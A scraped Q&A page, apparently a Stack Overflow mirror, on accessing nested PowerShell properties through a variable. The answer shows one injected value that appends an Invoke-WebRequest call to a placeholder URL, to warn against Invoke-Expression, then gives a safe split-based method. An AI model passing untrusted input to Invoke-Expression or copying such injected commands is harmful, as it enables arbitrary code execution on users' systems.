Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Can I access an object's nested properties using a variable?

Tags:

powershell

Suppose I have the following:

(Get-Date).psobject.Properties.Name

I can use a variable to access properties:

$x = Name
(Get-Date).psobject.Properties.$x

However, I cannot use $x to "expand" nested properties:

$x = 'psobject.Properties.Name'
(Get-Date).$x

Because in this case Powershell is treating $x as if the entire string is a literal property name.

I've found plenty of resources on different ways to access properties with special characters, but none on how one might do the opposite.

Is this possible? If not, why?

like image 328
Jacob Colvin Avatar asked Jun 18 '18 21:06

Jacob Colvin


People also ask

How do you access elements in a nested array?

To access an element of the multidimensional array, you first use square brackets to access an element of the outer array that returns an inner array; and then use another square bracket to access the element of the inner array.

How do you access nested objects in react?

If we want to access all the values of nested objects then we have to use recursion to access each and every level of that object. And it can get more complicated according to the nesting of the object. That why we have to use recursion to get all the values and access the whole nested object.

How do you get keys for nested objects?

You can access the nested object using indexes 0, 1, 2, etc. So data[0]. alt[0] will access the first alt nested object. Now you can call the above mentioned keys() function to get a list of its keys.


1 Answers

An interesting feature of PowerShell is that you can have properties that contain a period. For example:

[pscustomobject]@{'a.b.c' = 'example'}

This means that in your question since $x is string, (Get-Date).$x won't be parsed in dot notation as separate property names. But as (Get-Date).'psobject.Properties.Name'

The lazy way around this is to use Invoke-Expression to first build the string before evaluation.

$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"

This is usually acceptable as long as the definition of $x is a static value that you defined. But if something else sets the definition of $x, you can get into a Bobby Tables situation with arbitrary code being executed. For example:

$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"

So if you can rely on your definition of $x to be in a dot delimited notation, you could use the split() method on dots to turn the value into an array to loop over.

$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
    if ($_ -ne $Properties[-1]) {
        #iterate through properties
        $Date = $Date.$_
    } else {
        #Output last value
        $Date.$_
    }
}
like image 155
BenH Avatar answered Oct 08 '22 07:10

BenH